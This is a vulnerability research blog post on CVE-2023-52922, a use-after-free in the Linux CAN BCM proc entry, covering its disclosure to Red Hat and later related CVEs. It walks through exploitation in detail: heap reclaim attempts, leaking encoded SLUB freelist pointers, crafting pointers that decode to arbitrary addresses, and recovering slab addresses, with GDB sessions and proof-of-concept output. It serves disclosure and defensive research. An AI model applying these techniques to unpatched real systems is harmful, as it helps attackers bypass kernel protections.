Use-after-free vulnerability in the CAN BCM subsystem leading to information disclosure (CVE-2023-52922)

Para acessar esta postagem em português, clique aqui.

In 2024, our research team noticed and wrote proofs of concept for a use-after-free vulnerability affecting the latest Red Hat Enterprise Linux 9 (RHEL 9). At the time, kernel version 5.14.0-503.15.1.el9_5. The vulnerability was fixed in the Linux kernel upstream on July 17, 2023 [1][2]. After we reported it, the fix was backported to Red Hat Enterprise Linux 9 on March 11, 2025 [3], in the kernel version 5.14.0-503.31.1.el9_5.

We reported it to Red Hat on July 16, 2024, and they replied that upstream declined to issue a CVE and asked us for the proof of concept we had mentioned during the first contact. After sending a detailed report including a proof of concept, the CVE-2023-52922 [4] was assigned. This blog post also highlights a potential pattern that has been present in the CAN BCM subsystem, as at least another issue has already been reported and fixed.

This vulnerability allows unprivileged users to read data from kernel space, which could be used to disclose sensitive information and bypass security mitigations enabled by default in the affected systems.

As is widely known, many network protocols create proc entries. For CAN BCM, these entries are located at /proc/net/can-bcm/[ENTRY] and can be read using the read() system call. However, suppose a socket with a given entry [ENTRY] is read and concurrently released with close(). In that case, the objects to be printed out can be freed while the function reading them is still executing, leading to use-after-free scenarios. This happens because bcm_release() first calls bcm_remove_op() on items on the lists bo->tx_ops and bo->rx_ops and then calls remove_proc_entry() to delete the proc entry, creating a time window that allows bcm_proc_show() to read freed objects.

C
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
1488 static int bcm_release(struct socket *sock)
1489 {
1490         struct sock *sk = sock->sk;
1492         struct bcm_sock *bo;
1493         struct bcm_op *op, *next;
...
1499         bo = bcm_sk(sk);
...
1514         list_for_each_entry_safe(op, next, &bo->tx_ops, list)
1515                 bcm_remove_op(op);
...
1517         list_for_each_entry_safe(op, next, &bo->rx_ops, list) {
...
1522                 if (op->ifindex) {
...
1528                         if (op->rx_reg_dev) {
1529                                 struct net_device *dev;
1530 
1531                                 dev = dev_get_by_index(net, op->ifindex);
1532                                 if (dev) {
1533                                         bcm_rx_unreg(dev, op);
1534                                         dev_put(dev);
1535                                 }
1536                         }
1537                 } else
...
1542         }
...
1546         list_for_each_entry_safe(op, next, &bo->rx_ops, list)
1547                 bcm_remove_op(op);
...
1551         if (net->can.bcmproc_dir && bo->bcm_proc_read)
1552                 remove_proc_entry(bo->procname, net->can.bcmproc_dir);
...
1568 }
---

The bcm_remove_op() frees the object struct bcm_op received as argument.

C
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
726 static void bcm_remove_op(struct bcm_op *op)
727 {
728         hrtimer_cancel(&op->timer);
729         hrtimer_cancel(&op->thrtimer);
730 
731         if ((op->frames) && (op->frames != &op->sframe))
732                 kfree(op->frames);
733 
734         if ((op->last_frames) && (op->last_frames != &op->last_sframe))
735                 kfree(op->last_frames);
736 
737         kfree(op);
738 }
---

Then, after releasing struct bcm_op objects in bo->tx_ops and bo->rx_ops and before removing the proc entry, both in bcm_release(), an execution of bcm_proc_show() could consume the freed objects in these lists and print out values from struct bcm_op objects, causing use-after-free reads.

C
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
192 static int bcm_proc_show(struct seq_file *m, void *v)
193 {
194         char ifname[IFNAMSIZ];
195         struct net *net = m->private;
196         struct sock *sk = (struct sock *)pde_data(m->file->f_inode);
197         struct bcm_sock *bo = bcm_sk(sk);
198         struct bcm_op *op;
...
207         list_for_each_entry(op, &bo->rx_ops, list) {
208 
209                 unsigned long reduction;
...
212                 if (!op->frames_abs)
213                         continue;
...
215                 seq_printf(m, "rx_op: %03X %-5s ", op->can_id,
216                            bcm_proc_getifname(net, ifname, op->ifindex));
...
218                 if (op->flags & CAN_FD_FRAME)
219                         seq_printf(m, "(%u)", op->nframes);
220                 else
221                         seq_printf(m, "[%u]", op->nframes);
...
223                 seq_printf(m, "%c ", (op->flags & RX_CHECK_DLC) ? 'd' : ' ');
...
225                 if (op->kt_ival1)
226                         seq_printf(m, "timeo=%lld ",
227                                    (long long)ktime_to_us(op->kt_ival1));
...
229                 if (op->kt_ival2)
230                         seq_printf(m, "thr=%lld ",
231                                    (long long)ktime_to_us(op->kt_ival2));
...
233                 seq_printf(m, "# recv %ld (%ld) => reduction: ",
234                            op->frames_filtered, op->frames_abs);
...
236                 reduction = 100 - (op->frames_filtered * 100) / op->frames_abs;
...
238                 seq_printf(m, "%s%ld%%\n",
239                            (reduction == 100) ? "near " : "", reduction);
240         }
...
242         list_for_each_entry(op, &bo->tx_ops, list) {
...
244                 seq_printf(m, "tx_op: %03X %s ", op->can_id,
245                            bcm_proc_getifname(net, ifname, op->ifindex));
...
247                 if (op->flags & CAN_FD_FRAME)
248                         seq_printf(m, "(%u) ", op->nframes);
249                 else
250                         seq_printf(m, "[%u] ", op->nframes);
...
252                 if (op->kt_ival1)
253                         seq_printf(m, "t1=%lld ",
254                                    (long long)ktime_to_us(op->kt_ival1));
...
256                 if (op->kt_ival2)
257                         seq_printf(m, "t2=%lld ",
258                                    (long long)ktime_to_us(op->kt_ival2));
...
260                 seq_printf(m, "# sent %ld\n", op->frames_abs);
261         }
...
263         return 0;
264 }
---

Exploitation

The target system must have a CAN network interface to abuse this vulnerability. However, this requirement is met through unprivileged user and net namespaces, making them the only capabilities needed to abuse it. Once there is a CAN interface, we have to create a socket, connect to it, and send a message. This creates the proc entry and populates the lists bo->rx_ops and/or bo->tx_ops.

An important observation about RHEL 8 is that, despite the vulnerable piece of code being present at least up to the release 4.18.0-553.44.1.el8_10, we cannot trigger the vulnerability since its kernel does not support Virtual CAN tunnels cross-namespace communication (VXCAN).

Red Hat Enterprise Linux 8

ShellSession
[user@rhel8 ~]$ cat /boot/config-4.18.0-553.30.1.el8_10.x86_64 | grep -i vxcan
# CONFIG_CAN_VXCAN is not set
[user@rhel8 ~]$ rpm -ql kernel-modules-4.18.0-553.30.1.el8_10.x86_64 | grep -i vxcan
[user@rhel8 ~]$ rpm -ql kernel-modules-extra-4.18.0-553.30.1.el8_10.x86_64 | grep -i vxcan
[user@rhel8 ~]$

Red Hat Enterprise Linux 9

ShellSession
[user@rhel9 ~]$ cat /boot/config-5.14.0-503.15.1.el9_5.x86_64 | grep -i vxcan
CONFIG_CAN_VXCAN=m
[user@rhel9 ~]$ rpm -ql kernel-modules-5.14.0-503.15.1.el9_5.x86_64 | grep -i vxcan
/lib/modules/5.14.0-503.15.1.el9_5.x86_64/kernel/drivers/net/can/vxcan.ko.xz
[user@rhel9 ~]$

Looking at the code to find the SLUB cache in which the affected object is allocated, we see struct bcm_op objects is 472 bytes long. Then, it’s allocated from kmalloc-512 cache.

C
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
167 #define OPSIZ sizeof(struct bcm_op)
...
848 static int bcm_tx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
849                         int ifindex, struct sock *sk)
850 {
...
909                 op = kzalloc(OPSIZ, GFP_KERNEL);
910                 if (!op)
911                         return -ENOMEM;
...
1018 }
---

ShellSession
(gdb) ptype/o struct bcm_op
/* offset      |    size */  type = struct bcm_op {
...
/*    256      |       8 */    ktime_t kt_ival2;
...
                               /* total size (bytes):  472 */
                             }
(gdb) 

We tried the following three different approaches to leverage the vulnerability’s impact:

  1. Reclaim the SLUB object as an object that the user has control over offset 0.
  2. Reclaim the SLUB object as an object that results in a loop, and turn the system into an inoperative state.
  3. Leak the encoded freelist pointers of freed objects.

Reclaim the SLUB object as an object that the user has control over offset 0.

For the first approach, we can dereference an arbitrary pointer by reallocating the freed object through the VSOCK networking protocol and sendmsg() system call. We initially used the keyring subsystem, but later had to change to another technique to achieve greater reliability. To achieve that, we replicated the structure struct bcm_op in user space and set up the pointer ->next of the list at the beginning of the object to an arbitrary value (0x4142434445464748).

ShellSession
(gdb) ptype/o struct bcm_op
/* offset      |    size */  type = struct bcm_op {
/*      0      |      16 */    struct list_head {
/*      0      |       8 */        struct list_head *next;
/*      8      |       8 */        struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } list;
...
                               /* total size (bytes):  472 */
                             }
(gdb) 

After that, we use this replicated object as the payload argument to the sendmsg() system call. Then, when bcm_proc_show() fetches the next item of the list bo->tx_ops, it obtains the object with our content and an arbitrary address at the offset 0. A general protection fault happens when this object is dereferenced in list_for_each_entry() to get the next object to print out information to the user.

ShellSession
general protection fault, probably for non-canonical address 0x4142434445464748: 0000 [#5] PREEMPT SMP NOPTI

We couldn’t leak kernel data reliably using this approach because we didn’t find a way to obtain the head of the lists bo->rx_ops or bo->tx_ops without depending on another vulnerability. Consequently, we couldn’t break the list_for_each_entry() loop and gracefully return from bcm_proc_show(), exposing leaked data to the user.

Reclaim the SLUB object as an object that results in a loop, and turn the system into an inoperative state.

In the second approach,  we performed a cross-cache reallocation using System V IPC message queue objects. By allocating struct msg_msg objects, since they also have a list, called m_list, at their beginning and their size is user-controllable, we can reclaim the freed object with a valid object as the next pointer. But as it is different from &bo->rx_ops and &bo->tx_ops, the head of the lists, it doesn’t end the list_for_each_entry() loop, triggering an infinite loop.

ShellSession
(gdb) ptype/ox struct msg_msg
/* offset      |    size */  type = struct msg_msg {
/* 0x0000      |  0x0010 */    struct list_head {
/* 0x0000      |  0x0008 */        struct list_head *next;
/* 0x0008      |  0x0008 */        struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } m_list;
/* 0x0010      |  0x0008 */    long m_type;
/* 0x0018      |  0x0008 */    size_t m_ts;
/* 0x0020      |  0x0008 */    struct msg_msgseg *next;
/* 0x0028      |  0x0008 */    void *security;

                               /* total size (bytes):   48 */
                             }
(gdb)

As struct msg_msg objects are created using the flag GFP_KERNEL_ACCOUNT, the slab behind the freed object moves from kmalloc-512 to kmalloc-cg-n cache, with ‘n' being controllable by the user.

C
File: linux-5.14.0-362.13.1.el9_3/ipc/msgutil.c
---
46 static struct msg_msg *alloc_msg(size_t len)
47 {
48         struct msg_msg *msg;
49         struct msg_msgseg **pseg;
50         size_t alen;
51 
52         alen = min(len, DATALEN_MSG);
53         msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
54         if (msg == NULL)
55                 return NULL;
...
---

For that, we craft a message buffer struct msg_msg objects while bcm_release() is freeing a struct bcm_op object with bcm_remove_op(). Then, when bcm_proc_show() tries to read the proc entry from the freed and reclaimed object, we find one of our tainted struct msg_msg objects since we have marked them with 0x5152535455565758 in msg.mtype and 0x5a (Z) in msg.mtext. We notice this behavior through debugging. But, once again, we couldn’t leak this content because we didn’t find a reliable way to break the list_for_each_entry() loop in bcm_proc_show(). Therefore, the impact of this approach is an infinite loop in list_for_each_entry(), which results in warnings in the kernel’s message buffer. An example of the struct msg_msg object being used by bcm_proc_show() is shown below.

ShellSession
(gdb) x/10gx $rbx
0xffff888025633a00:	0xffff888025632600	0xffff888025632e00
0xffff888025633a10:	0x5152535455565758	0x00000000000001d0
0xffff888025633a20:	0x0000000000000000	0xffff88800b8ca4f0
0xffff888025633a30:	0x5a5a5a5a5a5a5a5a	0x5a5a5a5a5a5a5a5a
0xffff888025633a40:	0x5a5a5a5a5a5a5a5a	0x5a5a5a5a5a5a5a5a
(gdb) x/s 0xffff888025633a30
0xffff888025633a30:	'Z' ...
(gdb)

Leak the encoded freelist pointers of freed objects

In the third approach, we take into account a fortunate coincidence. One of the values printed by bcm_proc_show(), precisely kt_ival2, is placed exactly at the middle of a struct bcm_op object. Adding it to the fact that encoded freelist pointers are also placed in the middle of cache objects [5], we can disclose it simply by reading a proc entry if the freed object hasn’t been reclaimed yet.

The following GDB output shows the assembly code of a validation made over kt_ival2. However, the struct bcm_op object was freed. So what happens is a validation over the encoded freelist pointer, which will be printed out to the user via seq_printf():

ShellSession
Thread 2 hit Breakpoint 2, bcm_proc_show (m=0xffff88800bb59d98, v=<optimized out>) at net/can/bcm.c:256
256                     if (op->kt_ival2)
=> 0xffffffffc0c396b5 <bcm_proc_show+837>:      48 8b 8b 00 01 00 00    mov    0x100(%rbx),%rcx
   0xffffffffc0c396bc <bcm_proc_show+844>:      48 85 c9                test   %rcx,%rcx
   0xffffffffc0c396bf <bcm_proc_show+847>:      0f 84 54 ff ff ff       je     0xffffffffc0c39619 <bcm_proc_show+681>
(gdb) ni
0xffffffffc0c396bc      256                     if (op->kt_ival2)
=> 0xffffffffc0c396bc <bcm_proc_show+844>:      48 85 c9                test   %rcx,%rcx
   0xffffffffc0c396bf <bcm_proc_show+847>:      0f 84 54 ff ff ff       je     0xffffffffc0c39619 <bcm_proc_show+681>
(gdb) i r rcx
rcx            0x690b907561538eac  0x690b907561538eac
(gdb)

Investigating the kmalloc-512 cache to ensure that the value is an encoded freelist pointer, we check the cache’s freelist and access the value in the middle of its first object. We can confirm the value 0x690b907561538eac is in the middle of the object (offset 256). It is an encoded freelist pointer, as it is shown decoding it and obtaining the next freed object from the freelist.

ShellSession
(gdb) slabcaches "kmalloc-512"
SLUB configured
Object:         0xffff888004441a00
Name:           kmalloc-512
Size:           512
Object size:    512
Offset:         256
Refcount:       -1
Ctor:           (nil)
Inuse:          512
Align:          512
Random:         0x964d31f0e4f2c753
CPU slab:       0x39140
CPU partial:    52
Flags:          0x40001000
Min partial:    5
Alloc flags:    0x40000
List:           0xffff888004441a68
Node:           0xffff888004441ad8
(gdb) printkmemcachecpu 0 0x39140
Object:         0xffff88807fc39140
Freelist:       0xffff88800529b800
TID:            30097408
(gdb) freelistwalk 0xffff88800529b800 256 0x964d31f0e4f2c753
Freelist pointer: 0xffff88800529b800
Freelist pointer: 0xffff88800529b600
Freelist pointer: 0xffff88800529ac00
Freelist pointer: 0xffff88800529be00
Freelist count: 4
(gdb) x/2gx 0xffff88800529b800 + 256
0xffff88800529b900:     0x690b907561538eac      0x0000000000000000
(gdb) p/x 0x690b907561538eac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529b800 + 256)
$20 = 0xffff88800529b600
(gdb) x/2gx 0xffff88800529b600 + 256
0xffff88800529b700:     0x69059075615394ac      0x0000000002000000
(gdb) p/x 0x69059075615394ac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529b600 + 256)
$21 = 0xffff88800529ac00
(gdb) x/2gx 0xffff88800529ac00 + 256
0xffff88800529ad00:     0x691f9075615386ac      0x0000000002000000
(gdb) p/x 0x691f9075615386ac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529ac00 + 256)
$23 = 0xffff88800529be00
(gdb) x/2gx 0xffff88800529be00 + 256
0xffff88800529bf00:     0x96f218f5647a38ac      0x0000000002000000
(gdb) p/x 0x96f218f5647a38ac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529be00 + 256)
$24 = 0x0
(gdb)

However, the value printed out to the user is not the encoded freelist pointer directly. It is passed into ktime_to_us() before being printed out. This function divides the value by 1000. We can then use the demonstration above to see the value that is printed to the user and what will be obtained when an attempt to recovery the value is done. As shown below, some bits might be lost due to the division.

ShellSession
(gdb) p 0x690b907561538eac / 1000
$25 = 0x1ae43d8eb077b1
(gdb) p 0x1ae43d8eb077b1 * 1000
$26 = 0x690b907561538b68
(gdb) print/d 0x690b907561538eac - 0x690b907561538b68
$27 = 836
(gdb) print/x 0x690b907561538eac - 0x690b907561538b68
$28 = 0x344
(gdb)

The operation to recovery the encoded freelist pointer from the leaked value resulted in a difference of 836 bytes. The difference varies depending on the encoded freelist pointer and it is different for each object.

C
File: linux-5.14.0-362.13.1.el9_3/net/can/bcm.c
---
192 static int bcm_proc_show(struct seq_file *m, void *v)
193 {
...
256                 if (op->kt_ival2)
257                         seq_printf(m, "t2=%lld ",
258                                    (long long)ktime_to_us(op->kt_ival2));
---
C
File: linux-5.14.0-362.13.1.el9_3/include/linux/ktime.h
---
159 static inline s64 ktime_to_us(const ktime_t kt)
160 {
161         return ktime_divns(kt, NSEC_PER_USEC);
162 }
---
C
File: linux-5.14.0-362.13.1.el9_3/include/vdso/time64.h
---
...
  8 #define NSEC_PER_USEC   1000L
...
---

Beyond that, we don’t find restrictions forbidding multiple exploitation of the vulnerability, resulting in the leak of the whole freelist chain or at least several objects.

LEVERAGING THE IMPACT

Since the vulnerability allows us to leak the whole encoded freelist pointers of the slab, due to the lack of mechanisms to avoid multiple exploitation, we obtained two interesting results. The first allows us to craft an encoded freelist pointer decoding to any address we want, and the second enables us to leak the base address of the slab, defeating the randomization of addresses from the physmap/SLUB.

Crafting an encoded freelist pointer decoding to an arbitrary address

The first result is possible because we obtain the encoded freelist pointer of the last object of the freelist. The last encoded freelist pointer always decodes to NULL, and due to this, the operation is simpler, as demonstrated by Silvio Cesare [6] and Zhenpeng Lin [7]. This could be chained with other vulnerability that allows overwriting the encoded freelist pointer of the object, resulting in an arbitrary write.

The last encoded freelist pointer points to the end of the freelist, a NULL value, making the encoding operation in freelist_ptr() to be evaluated as:

C
 363 static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,         
 364                                  unsigned long ptr_addr)
 365 {                                                                               
 366 #ifdef CONFIG_SLAB_FREELIST_HARDENED                                            
 367         /*                                                                      
 368          * When CONFIG_KASAN_SW/HW_TAGS is enabled, ptr_addr might be tagged.   
 369          * Normally, this doesn't cause any issues, as both set_freepointer()   
 370          * and get_freepointer() are called with a pointer with the same tag.   
 371          * However, there are some issues with CONFIG_SLUB_DEBUG code. For      
 372          * example, when __free_slub() iterates over objects in a cache, it     
 373          * passes untagged pointers to check_object(). check_object() in turns  
 374          * calls get_freepointer() with an untagged pointer, which causes the   
 375          * freepointer to be restored incorrectly.                              
 376          */                                                                     
 377         return (void *)((unsigned long)ptr ^ s->random ^                        
 378                         swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));
 379 #else                                                                           
 380         return ptr;                                                             
 381 #endif                                                                          
 382 }

ShellSession
encoded = ptr ^ random ^ swab(ptr_addr)
encoded = NULL ^ random ^ swab(ptr_addr)
encoded = random ^ swab(ptr_addr)

Therefore, considering the variable target below as an arbitrary kernel address, the leaked encoded freelist pointer can be used as follows:

ShellSession
crafted = target ^ encoded
crafted = target ^ (random ^ swab(ptr_addr))
crafted = target ^ random ^ swab(ptr_addr)

So, using the last encoded freelist pointer of the slab from the previous section, decoding it, we have:

ShellSession
(gdb) p/x 0x96f218f5647a38ac ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529be00 + 256)
$27 = 0x0
(gdb)

Thus, XORing the last encoded freelist pointer with an arbitrary address results in a crafted encoded freelist pointer that decodes to the arbitrary address:

ShellSession
(gdb) p/x 0x96f218f5647a38ac ^ 0x4433221144332211
$28 = 0xd2c13ae420491abd
(gdb) p 0xd2c13ae420491abd ^ 0x964d31f0e4f2c753 ^ swab64(0xffff88800529be00 + 256)
$29 = 0x4433221144332211
(gdb)

This shows the impact of leaking an encoded freelist pointer, as already highlighted by [6] and [7]. Again, if combined with other vulnerabilities that allows overwriting the encoded freelist pointer of an object, this information disclosure could be leveraged to ease the compromise of the system.

Impact of the missing bits

As the vulnerability divides the encoded freelist pointer by 1000, the result leaked to the user might have some different bits. This fact shifts the object a bit, as shown below. The example shown is from a different slab than the one shown earlier. It contains the encoded freelist pointer of the last object from the freelist (0x5cba827c7fc28c20), as leaked to the user, the random value used by the cache (0x5ccf0a44fe4a7268), and the address of the object that contains the encoded freelist pointer (0xffff888138887400), added by the freelist pointer offset (256). The address 0x4433221144332211 is an example of an arbitrary kernel address that an attacker would like to craft an encoded freelist pointer that decodes to.

ShellSession
(gdb) print/x (0x5cba827c7fc28c20 ^ 0x4433221144332211) ^ 0x5ccf0a44fe4a7268 ^ swab64(0xffff888138887400 + 256) 
$120 = 0x44332211443323a6 
(gdb) print/d 0x44332211443323a6 - 0x4433221144332211
$121 = 405
(gdb) print/x 0x44332211443323a6 - 0x4433221144332211
$222 = 0x195
(gdb)

As can be seen above, the arbitrary address might be shifted slightly if an encoded freelist pointer is overwritten based on the leaked encoded freelist pointer. However, a potential exploit could consider this and still combine it with other primitives. In certain conditions, we observed that the leaked value remains unchanged, retaining its original value after the division. This results in the exact encoded freelist pointer being recovered. In theory, this should not be an impeding factor for this primitive not to be used.

leaking the base address of the slab

The second result allows to leak SLUB objects’ addresses. This is derived from another attack. When the last encoded freelist pointer is XORed with any other encoded freelist pointer from the same slab, the result is similar to the SLUB objects’ addresses. Sometimes, we obtain the exact address of an object. Below is the result of this XOR operation printed out by the proof of concept before normalization.

ShellSession
Leaked slab address: 0xffe39b8de807c710
Leaked slab address: 0xffe59b8de807d220
Leaked slab address: 0xffef9b8de807d8c0
Leaked slab address: 0xfffb9b8de807d070
Leaked slab address: 0xffe99b8de807db78
Leaked slab address: 0xffed9b8de8002968
Leaked slab address: 0xffe19b8de807d5c0
Leaked slab address: 0xfff39b8de807d178
Leaked slab address: 0xffeb9b8de807cef8
Leaked slab address: 0xfffd9b8de8002b50
Leaked slab address: 0xfff59b8de807c0d0
Leaked slab address: 0xfff79b8de807ce78
Leaked slab address: 0xffe79b8de807c868
Leaked slab address: 0xfff19b8de807df98
Leaked slab address: 0xfff99b8de807c158

If we compare the result printed out by the proof of concept with the addresses from the slab below, we can see that the difference is small and trivially recoverable.

ShellSession
(gdb) printkmemcachecpu 0 0x37140 
Object: 0xffff9b8df9e37140 
Freelist: 0xffff9b8de807c200 
TID: 10712457216 
Slab: 0xffffef7c44a01f00 
Partial: 0xffffef7c44c05e80 
Freelist pointer: 0xffff9b8de807c200 
Freelist pointer: 0xffff9b8de807ca00 
Freelist pointer: 0xffff9b8de807dc00 
Freelist pointer: 0xffff9b8de807cc00 
Freelist pointer: 0xffff9b8de807ce00 
Freelist pointer: 0xffff9b8de807c600 
Freelist pointer: 0xffff9b8de807d000 
Freelist pointer: 0xffff9b8de807c800 
Freelist pointer: 0xffff9b8de807da00 
Freelist pointer: 0xffff9b8de807d600 
Freelist pointer: 0xffff9b8de807d200 
Freelist pointer: 0xffff9b8de807c000 
Freelist pointer: 0xffff9b8de807d400 
Freelist pointer: 0xffff9b8de807de00 
Freelist pointer: 0xffff9b8de807d800
Freelist pointer: 0xffff9b8de807c400 
Freelist count: 16 
(gdb)

The different bits from the base of the addresses (0xffe39b8de807cXXX and 0xffff9b8de807cXXX) are trivial to recover, as we know the addresses start with 0xffff even when KASLR is enabled. The last 12 bits are not needed to recover the slab objects’ addresses because we know the size of the objects and the alignment. As the objects are 512 (0x200) bytes, we fix the base of the addresses with 0xffff, zero out the last 12 bits, and take a dynamic approach to choose an address as the base virtual address of the slab. A dynamic approach is needed because sometimes the extremes (smallest and greatest) are outside of the range of slab addresses, invaliding the attack. After this, we generate the list of objects. For this attack to be possible, we only need the base address of the slab. With this, we can predict all objects addresses. The result of the proof of concept is shown below.

ShellSession
slab[0] =	0xffff9b8de807c000
slab[1] =	0xffff9b8de807c200
slab[2] =	0xffff9b8de807c400
slab[3] =	0xffff9b8de807c600
slab[4] =	0xffff9b8de807c800
slab[5] =	0xffff9b8de807ca00
slab[6] =	0xffff9b8de807cc00
slab[7] =	0xffff9b8de807ce00
slab[8] =	0xffff9b8de807d000
slab[9] =	0xffff9b8de807d200
slab[10] =	0xffff9b8de807d400
slab[11] =	0xffff9b8de807d600
slab[12] =	0xffff9b8de807d800
slab[13] =	0xffff9b8de807da00
slab[14] =	0xffff9b8de807dc00
slab[15] =	0xffff9b8de807de00

We obtained the list of addresses from the current slab in use from CPU 0 of the kmalloc-512 cache. The proof of concept works reliably.

ShellSession
[root@almalinux95research CVE-2023-52922]# ./exploit
Leaked last freelist encoded pointer: 0xc2d2d5429e43d488

slab[0] = 0xffff9b8de8045000
slab[1] = 0xffff9b8de8045200
slab[2] = 0xffff9b8de8045400
slab[3] = 0xffff9b8de8045600
slab[4] = 0xffff9b8de8045800
slab[5] = 0xffff9b8de8045a00
slab[6] = 0xffff9b8de8045c00
slab[7] = 0xffff9b8de8045e00
slab[8] = 0xffff9b8de8046000
slab[9] = 0xffff9b8de8046200
slab[10] = 0xffff9b8de8046400
slab[11] = 0xffff9b8de8046600
slab[12] = 0xffff9b8de8046800
slab[13] = 0xffff9b8de8046a00
slab[14] = 0xffff9b8de8046c00
slab[15] = 0xffff9b8de8046e00
[root@almalinux95research CVE-2023-52922]#

COMMON PATTERN

This blog post also highlights a typical pattern that had been happening in the CAN BCM subsystem. The vulnerability discussed in this blog post is not the first UAF affecting the proc entry of the subsystem. Another one was fixed some time ago:

can: bcm: fix warning in bcm_connect/proc_register
https://github.com/torvalds/linux/commit/deb507f91f1adbf64317ad24ac46c56eeccfb754

The issue above is well known to us. We identified that it had not been backported to Red Hat Enterprise Linux 7 and derivatives around 2020, and they remained vulnerable for 4 years after the issue was patched on upstream. This one has different characteristics and allows reliable arbitrary kernel memory read in specific situations, although in a noisy way. This could be abused to read privileged files from the root user, like /etc/shadow, and even read memory from the kernel and other user processes. Our clients obtained this intelligence, including a reliable proof of concept demonstrating the impact of the vulnerability. The proof of concept dumped the hashes of the system’s root user and the root user of the MySQL database.

The vulnerability discussed in this blog post was fixed almost 8 years after the first use-after-free read involved with proc entries in the subsystem was patched. As the commit that introduces the vulnerability discussed in this blog post is the commit that introduces the subsystem, it means the fix for the first issue in the subsystem did not address the root cause, still allowing use-after-free issues since the introduction of the subsystem.

We had to postpone the publication of this blog post because we found two vulnerabilities in the CAN BCM subsystem while reviewing it. We confirmed the patch for the vulnerability discussed in this blog post does not fix the vulnerability. We could still trigger use-after-free read in the proc entry of the CAN BCM protocol. In addition, we identified an out-of-bounds read. In the proof of concept written to confirm it, it naturally leaked struct page addresses. Interestingly, these findings confirmed the point raised by this section of a common pattern affecting the CAN BCM subsystem. Fortunately, we identified the vulnerabilities before publishing the blog post.

We reported the new vulnerabilities upstream, which were already fixed and backported to stable and LTS kernels, and soon, the Linux distributions should be getting the fixes. The latest issues are identified by CVE-2025-38003 [8][9] and CVE-2025-38004 [10][11]. We will also write a blog post about them, showing the context they were found and discussing the technical details.

Conclusion

Although there are several constraints to abusing this vulnerability to achieve a more interesting kernel information disclosure reliably and cleanly, it can reliably leak kernel information that is useful to bypass security mitigations and improve exploit reliability. We weren’t able to leak the random value used by the cache within the time allocated for this project, but we do not discard this possibility. If this is the case, the vulnerability is even more interesting for an attacker.

After being fixed publicly in 2023, it remained present in several Linux distributions for several months even after we reported it. We understand this vulnerability is not critical compared with others. Nowadays, there are several issues to pay attention to, with a storm of CVEs being assigned daily and the increasing complexity of the Linux kernel that makes it hard to properly identify, understand and prioritize issues. Still, this one can reliably be used to help defeat an important security mechanism, which is a factor that we believe vendors and users should take into consideration.

This vulnerability is just an example demonstrating the need to audit the systems you depend on, independent of the vendor, if you would like to improve business security, especially if you are a high-risk target. If you are a vendor, we can help you improve your products, bringing better security for your customers. We are specialists in Linux and Android security.

Through our vulnerability and threat intelligence, and security research services, you will be ahead of others regarding interesting vulnerabilities, techniques, attack vectors, and much more. Contact us and we will be delighted to help you.

All the proofs of concept and materials for this research is published in our Github page at: https://github.com/alleleintel/research/tree/master/CVE-2023-52922.

References

[1] – can: bcm: Fix UAF in bcm_proc_show()
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=55c3b96074f3f9b0aee19bf93cd71af7516582bb

[2] – can: bcm: Fix UAF in bcm_proc_show()
https://github.com/torvalds/linux/commit/55c3b96074f3f9b0aee19bf93cd71af7516582bb

[3] – Red Hat Security Advisory RHSA-2025:2627
https://access.redhat.com/errata/RHSA-2025:2627

[4] – Red Hat Portal Customer: CVE-2023-52922
https://access.redhat.com/security/cve/cve-2023-52922

[5] – Andrey Konovalov: SLUB Internals for Exploit Developers | LSS Europe 2024
https://youtu.be/XulsBDV4n3w?t=940

[6] – Bit Flipping Attacks Against Free List Pointer Obfuscation
https://blog.infosectcbr.com.au/2020/04/bit-flipping-attacks-against-free-list.html

[7] – How AUTOSLAB Changes the Memory Unsafety Game
https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game

[8] – CVE-2025-38003: can: bcm: add missing rcu read protection for procfs content
https://lore.kernel.org/linux-cve-announce/2025060859-CVE-2025-38003-6565@gregkh/T/#u

[9] – can: bcm: add missing rcu read protection for procfs content
https://github.com/torvalds/linux/commit/dac5e6249159ac255dad9781793dbe5908ac9ddb

[10] – CVE-2025-38004: can: bcm: add locking for bcm_op runtime updates
https://lore.kernel.org/linux-cve-announce/2025060801-CVE-2025-38004-30d2@gregkh/T/#u

[11] – can: bcm: add locking for bcm_op runtime updates
https://github.com/torvalds/linux/commit/c2aba69d0c36a496ab4f2e81e9c2b271f2693fd7